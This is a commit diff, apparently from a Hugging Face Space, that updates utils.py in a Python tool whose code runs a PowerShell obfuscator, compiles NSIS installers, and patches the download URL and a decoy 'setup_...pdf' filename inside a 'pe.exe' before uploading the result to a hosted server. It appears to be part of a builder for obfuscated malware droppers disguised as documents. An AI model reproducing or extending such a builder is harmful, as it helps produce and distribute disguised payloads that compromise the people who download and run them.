Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -16,7 +16,7 @@ PE_FOLDER = os.path.join(BASE_DIR, "pe")
|
|
16 |
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
|
17 |
NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system
|
18 |
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
|
19 |
-
UPLOAD_URL = '
|
20 |
|
21 |
def generate_random_string(length=8):
|
22 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
@@ -134,7 +134,7 @@ def upload_file_to_server(file_path):
|
|
134 |
data = response.json()
|
135 |
# Assuming the server returns a 'file_url' key with the file URL
|
136 |
filename = os.path.basename(renamed_file_path)
|
137 |
-
fixed_url = f'
|
138 |
return fixed_url
|
139 |
else:
|
140 |
raise Exception(f"Failed to upload file: {response.json()}")
|
@@ -249,7 +249,7 @@ Write-Host ""
|
|
249 |
pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
|
250 |
modified_pe_path = replace_url_in_exe(
|
251 |
file_path=pe_exe_path,
|
252 |
-
old_url="
|
253 |
new_url=download_url,
|
254 |
old_string="setup_20250102_062243.pdf",
|
255 |
new_string=os.path.basename(download_url)
|
|
|
16 |
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
|
17 |
NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system
|
18 |
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
|
19 |
+
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload' # Replace with actual IP or domain
|
20 |
|
21 |
def generate_random_string(length=8):
|
22 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
|
|
134 |
data = response.json()
|
135 |
# Assuming the server returns a 'file_url' key with the file URL
|
136 |
filename = os.path.basename(renamed_file_path)
|
137 |
+
fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
|
138 |
return fixed_url
|
139 |
else:
|
140 |
raise Exception(f"Failed to upload file: {response.json()}")
|
|
|
249 |
pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
|
250 |
modified_pe_path = replace_url_in_exe(
|
251 |
file_path=pe_exe_path,
|
252 |
+
old_url="https://ambelo-benjamin.hf.space/uploads/setup_20250102_062242.pdf",
|
253 |
new_url=download_url,
|
254 |
old_string="setup_20250102_062243.pdf",
|
255 |
new_string=os.path.basename(download_url)
|